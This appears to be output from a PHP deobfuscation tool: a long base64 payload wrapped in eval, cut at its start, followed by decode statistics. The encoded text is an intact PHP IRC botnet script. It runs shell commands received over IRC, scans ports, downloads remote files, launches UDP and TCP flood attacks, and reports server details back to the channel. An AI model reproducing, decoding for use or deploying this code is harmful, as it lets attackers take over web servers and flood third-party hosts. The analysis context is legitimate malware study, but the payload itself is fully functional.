uZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IGV4ZWMoJGNvbW1hbmQpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXQgPSBleHBsb2RlKCJcbiIsJGV4ZWMpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRyZXQpOyRpKyspIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJldFskaV0hPU5VTEwpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCIgICAgICA6ICIudHJpbSgkcmV0WyRpXSkpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAicGFzc3RocnUiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKC
iAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhlYyA9IHBhc3N0aHJ1KCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJwb3BlbiI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJG1jbWRbMV0pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZCA9IHN1YnN0cihzdHJzdHIoJG1zZywkbWNtZFswXSksc3RybGVuKCRtY21kWzBdKSsxKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMnBvcGVuXDJdOiAkY29tbWFuZCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBpcGUgPSBwb3BlbigkY29tbWFuZCwiciIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBidWYgPSB0cmltKGZnZXRzKCRwaXBlLDUxMikpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRwYnVmICE9IE5VTEwpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCIgICAgIDogJHBidWYiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRwaXBlKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ICAKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJzeXN0ZW0iOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID0gc3Vic3RyKHN0cnN0cigkbXNnLCRtY21kWzBdKSxzdHJsZW4oJG1jbWRbMF0pKzEpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleGVjID0gc3lzdGVtKCRjb21tYW5kKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRleGVjKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkcmV0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXRbJGldIT1OVUxMKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiICAgICAgOiAiLnRyaW0oJHJldFskaV0pKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJwc2NhbiI6IC8vIC5wc2NhbiAxMjcuMC4wLjEgNjY2NyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZzb2Nrb3BlbigkbWNtZFsxXSwkbWNtZFsyXSwkZSwkcywxNSkpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJwc2NhblwyXTogIi4kbWNtZFsxXS4iOiIuJG1jbWRbMl0uIiBpcyBcMm9wZW5cMiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMnBzY2FuXDJdOiAiLiRtY21kWzFdLiI6Ii4kbWNtZFsyXS4iIGlzIFwyY2xvc2VkXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiZG93bmxvYWQiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKSA+IDIpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZnAgPSBmb3BlbigkbWNtZFsyXSwidyIpKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbZG93bmxvYWQ6XVwwMDMxNCBLb24gYmVzdGFuZCBuaWV0IGRvd25sb2FkZW4uIFRvZXN0ZW1taW5nIGdld2VpZ2VyZC4iKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJGdldCA9IGZpbGUoJG1jbWRbMV0pKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltkb3dubG9hZDpdXDAwMzE0IEthbiBiZXN0YW5kIFwyIi4kbWNtZFsxXS4iXDIgbmlldCBkb3dubG9hZGVuLiIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPD1jb3VudCgkZ2V0KTskaSsrKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCRnZXRbJGldKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbZG93bmxvYWQ6XVwwMDMxNCBCZXN0YW5kIFwyIi4kbWNtZFsxXS4iXDIgZ2Vkb3dubG9hZCBuYWFyIFwyIi4kbWNtZFsyXS4iXDIiKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgeyAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltkb3dubG9hZDpdXDAwMzE0IFR5cCBcIi5kb3dubG9hZCBodHRwOi8veW91ci5ob3N0L2ZpbGUgL3RtcC9maWxlXCIiKTsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAoJCQkJCQkJCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJkaWUiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZW5kKCJRVUlUIDpkaWUgY29tbWFuZCBmcm9tICRuaWNrIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHRoaXMtPmNvbm4pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7IAogCgkJCQkJCQkgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImxvZ291dCI6IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19vdXQoJGhvc3QpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW2F1dGg6XVwwMDMxNCBKZSBiZW50IG51IHVpdGdlbG9ndCAkbmljayIpOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKCQkJCQkJCQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAidWRwZmxvb2QiOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNvdW50KCRtY21kKT4zKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dWRwZmxvb2QoJG1jbWRbMV0sJG1jbWRbMl0sJG1jbWRbM10pOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgCgkJCQkJCQkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInRjcGZsb29kIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihjb3VudCgkbWNtZCk+NSkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRjcGZsb29kKCRtY21kWzFdLCRtY21kWzJdLCRtY21kWzNdLCRtY21kWzRdLCRtY21kWzVdKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgfSAKICAgICAgICAgIH0gCiAgICAgICB9IAogICAgICAgJG9sZF9idWYgPSAkdGhpcy0+YnVmOyAKICAgIH0gCiAgICAkdGhpcy0+c3RhcnQoKTsgCiB9IAogZnVuY3Rpb24gc2VuZCgkbXNnKSAKIHsgCiAgICBmd3JpdGUoJHRoaXMtPmNvbm4sIiRtc2dcclxuIik7IAogfSAKIGZ1bmN0aW9uIGpvaW4oJGNoYW4sJGtleT1OVUxMKSAKIHsgCiAgICAkdGhpcy0+c2VuZCgiSk9JTiAkY2hhbiAka2V5Iik7IAogfSAKIGZ1bmN0aW9uIHByaXZtc2coJHRvLCRtc2cpCiB7CiAgICAkdGhpcy0+c2VuZCgiUFJJVk1TRyAkdG8gOiRtc2ciKTsKIH0KIGZ1bmN0aW9uIG5vdGljZSgkdG8sJG1zZykKIHsKICAgICR0aGlzLT5zZW5kKCJOT1RJQ0UgJHRvIDokbXNnIik7CiB9CiBmdW5jdGlvbiBpc19sb2dnZWRfaW4oJGhvc3QpIAogeyAKICAgIGlmKGlzc2V0KCR0aGlzLT51c2Vyc1skaG9zdF0pKSAKICAgICAgIHJldHVybiAxOyAKICAgIGVsc2UgCiAgICAgICByZXR1cm4gMDsgCiB9IAogZnVuY3Rpb24gbG9nX2luKCRob3N0KSAKIHsgCiAgICAkdGhpcy0+dXNlcnNbJGhvc3RdID0gdHJ1ZTsgCiB9IAogZnVuY3Rpb24gbG9nX291dCgkaG9zdCkgCiB7IAogICAgdW5zZXQoJHRoaXMtPnVzZXJzWyRob3N0XSk7IAogfSAKZnVuY3Rpb24gc2V0X25pY2soKSB7CiAgJG5pY2t5PWFycmF5KCJhIiwiYiIsImMiLCJkIiwiZSIsImYiLCJnIiwiaCIsImkiLCJqIiwiayIsImwiLCJtIiwibiIsIm8iLCJwIiwicSIsInIiLCJzIiwidCIsInUiLCJ2IiwidyIsIngiLCJ5IiwieiIsIkEiLCJCIiwiQyIsIkQiLCJFIiwiRiIsIkciLCJIIiwiSSIsIkoiLCJLIiwiTCIsIk0iLCJOIiwiTyIsIlAiLCJRIiwiUiIsIlMiLCJUIiwiVSIsIlYiLCJXIiwiWCIsIlkiLCJaIik7CiAgJHRoaXMtPm5pY2sgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07CiAgJHRoaXMtPm5pY2sxID0gJG5pY2t5W3JhbmQoMCxjb3VudCgkbmlja3kpIC0gMSldOwogICR0aGlzLT5uaWNrMiA9ICRuaWNreVtyYW5kKDAsY291bnQoJG5pY2t5KSAtIDEpXTsKICAkdGhpcy0+bmljazMgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07CiAgJHRoaXMtPm5pY2s0ID0gJG5pY2t5W3JhbmQoMCxjb3VudCgkbmlja3kpIC0gMSldOwogICR0aGlzLT5uaWNrNSA9ICRuaWNreVtyYW5kKDAsY291bnQoJG5pY2t5KSAtIDEpXTsKICAkdGhpcy0+bmljazYgPSAkbmlja3lbcmFuZCgwLGNvdW50KCRuaWNreSkgLSAxKV07CiAgZm9yKCRpPTA7JGk8JHRoaXMtPmNvbmZpZ1snbWF4cmFuZCddOyRpKyspIAogICR0aGlzLT5zZW5kKCJOSUNLIFsiLnJhbmQoMTAwLCA5OTk5OSkuIl0iLiR0aGlzLT5uaWNrLiR0aGlzLT5uaWNrMS4kdGhpcy0+bmljazIuJHRoaXMtPm5pY2szLiR0aGlzLT5uaWNrNC4kdGhpcy0+bmljazUuJHRoaXMtPm5pY2s2LiIiKTsKIH0gCgpmdW5jdGlvbiBzZXRfaWRlbnQoKSB7CiAgJHByaWZ5PWFycmF5KCJhIiwiYiIsImMiLCJkIiwiZSIsImYiLCJnIiwiaCIsImkiLCJqIiwiayIsImwiLCJtIiwibiIsIm8iLCJwIiwicSIsInIiLCJzIiwidCIsInUiLCJ2IiwidyIsIngiLCJ5IiwieiIsIkEiLCJCIiwiQyIsIkQiLCJFIiwiRiIsIkciLCJIIiwiSSIsIkoiLCJLIiwiTCIsIk0iLCJOIiwiTyIsIlAiLCJRIiwiUiIsIlMiLCJUIiwiVSIsIlYiLCJXIiwiWCIsIlkiLCJaIik7IAogICRpZGVudCA9ICRwcmlmeVtyYW5kKDAsY291bnQoJHByaWZ5KSAtIDEpXTsKICBpZihwaHBfdW5hbWUoKSA9PSAiIikgeyAkdW5hbWUgPSAiLS0tIjsgfQogIGVsc2UgeyAkdW5hbWUgPSBwaHBfdW5hbWUoKTsgfQogICR0aGlzLT5zZW5kKCJVU0VSICIucmFuZCgxMDAsIDk5OTk5KS4kaWRlbnQuIiAxMjcuMC4wLjEgbG9jYWxob3N0IDoiLiR1bmFtZS4iIik7CiB9CgpmdW5jdGlvbiB1ZHBmbG9vZCgkaG9zdCwkcGFja2V0c2l6ZSwkdGltZSkgewoJJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJbXDJVZHBGbG9vZCBTdGFydGVkIVwyXSIpOyAKCSRwYWNrZXQgPSAiIjsKCWZvcigkaT0wOyRpPCRwYWNrZXRzaXplOyRpKyspIHsgJHBhY2tldCAuPSBjaHIobXRfcmFuZCgxLDI1NikpOyB9CgkkdGltZWkgPSB0aW1lKCk7CgkkaSA9IDA7Cgl3aGlsZSh0aW1lKCktJHRpbWVpIDwgJHRpbWUpIHsKCQkkZnA9ZnNvY2tvcGVuKCJ1ZHA6Ly8iLiRob3N0LG10X3JhbmQoMCw2MDAwKSwkZSwkcyw1KTsKICAgICAgCWZ3cml0ZSgkZnAsJHBhY2tldCk7CiAgICAgICAJZmNsb3NlKCRmcCk7CgkJJGkrKzsKCX0KCSRlbnYgPSAkaSAqICRwYWNrZXRzaXplOwoJJGVudiA9ICRlbnYgLyAxMDQ4NTc2OwoJJHZlbCA9ICRlbnYgLyAkdGltZTsKCSR2ZWwgPSByb3VuZCgkdmVsKTsKCSRlbnYgPSByb3VuZCgkZW52KTsKCSR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25m
aWdbJ2NoYW4nXSwiW1wyVWRwRmxvb2QgRmluaXNoZWQhXDJdOiAkZW52IE1CIGVudmlhZG9zIC8gTWVkaWE6ICR2ZWwgTUIvcyAiKTsKfQogZnVuY3Rpb24gdGNwZmxvb2QoJGhvc3QsJHBhY2tldHMsJHBhY2tldHNpemUsJHBvcnQsJGRlbGF5KSAKIHsgCiAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlRjcEZsb29kIFN0YXJ0ZWQhXDJdIik7IAogICAgJHBhY2tldCA9ICIiOyAKICAgIGZvcigkaT0wOyRpPCRwYWNrZXRzaXplOyRpKyspIAogICAgICAgJHBhY2tldCAuPSBjaHIobXRfcmFuZCgxLDI1NikpOyAKICAgIGZvcigkaT0wOyRpPCRwYWNrZXRzOyRpKyspIAogICAgeyAKICAgICAgIGlmKCEkZnA9ZnNvY2tvcGVuKCJ0Y3A6Ly8iLiRob3N0LCRwb3J0LCRlLCRzLDUpKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuJ10sIltcMlRjcEZsb29kXDJdOiBFcnJvcjogPCRlPiIpOyAKICAgICAgICAgIHJldHVybiAwOyAKICAgICAgIH0gCiAgICAgICBlbHNlIAogICAgICAgeyAKICAgICAgICAgIGZ3cml0ZSgkZnAsJHBhY2tldCk7IAogICAgICAgICAgZmNsb3NlKCRmcCk7IAogICAgICAgfSAKICAgICAgIHNsZWVwKCRkZWxheSk7IAogICAgfSAKICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4nXSwiW1wyVGNwRmxvb2QgRmluaXNoZWQhXDJdOiBDb25maWcgLSAkcGFja2V0cyBwYWNvdGVzIHBhcmEgJGhvc3Q6JHBvcnQuIik7IAogfQogCmZ1bmN0aW9uIGhvc3RpbmZvKCkgewoJaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiXDAwMzRPTlwwMDMiOyB9CiAgICBlbHNlIHsgJHNhZmVtb2RlID0gIlwwMDM5T0ZGXDAwMyI7IH0KCgkkdW5tZSA9IHBocF91bmFtZSgpOwoJaWYoJHVubWUgPT0gIiIpIHsgJG1uYW1lID0gIlwwMDMxNS0tLVwwMDMiOyB9CgllbHNlIHsgJG1uYW1lID0gIlwwMDMxNSIuJHVubWUuIlwwMDMiOyB9CgkJIAoJICR1cmwgPSAiXDAwMzE1aHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIlwwMDMiOwoJICRwdGggPSAiXDAwMzE1Ii5nZXRjd2QoKS4iXDAwMyI7CgkJICAKCSRwdGhoID0gIGdldGN3ZCgpLiIiOwoJJHBlcm1zID0gZmlsZXBlcm1zKCIkcHRoaCIpOwoKCWlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsgJGluZm8gPSAncyc7Cgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOwoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgeyAkaW5mbyA9ICctJzsKCX0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsgJGluZm8gPSAnYic7Cgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOwoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgeyAkaW5mbyA9ICdjJzsKCX0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsgJGluZm8gPSAncCc7Cgl9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfQoKCS8vIE93bmVyCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CgkJCSgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKCQkJKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgkvLyBHcm91cAoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwoJCQkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CgkJCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoJLy8gV29ybGQKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KCQkJKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgoJCQkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCQkJCgkkcmdodHMgPSAiXDAwMzE1Ii4kaW5mby4iXDAwMyI7CgoJJHRoaXMtPnByaXZtc2coJHRoaXMtPmNvbmZpZ1snY2hhbiddLCJcMDAzMTRbU0FGRTpcMDAzXDIgJHNhZmVtb2RlXDJcMDAzMTRdXDAwMzE1ICR1cmwgXDAwMzE0W3B3ZDpdXDAwMzE1ICRwdGggXDAwMzE0KFwwMDMkcmdodHNcMDAzMTQpIFt1bmFtZTpdXDAwMzE1ICRtbmFtZSIpOwoJfQogfQokYm90ID0gbmV3IHBCb3Q7CiRib3QtPnN0YXJ0KCk7')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 19a2c1f3ebbd003e4d401769ffd15e90
Eval Count 1
Decode Time 113 ms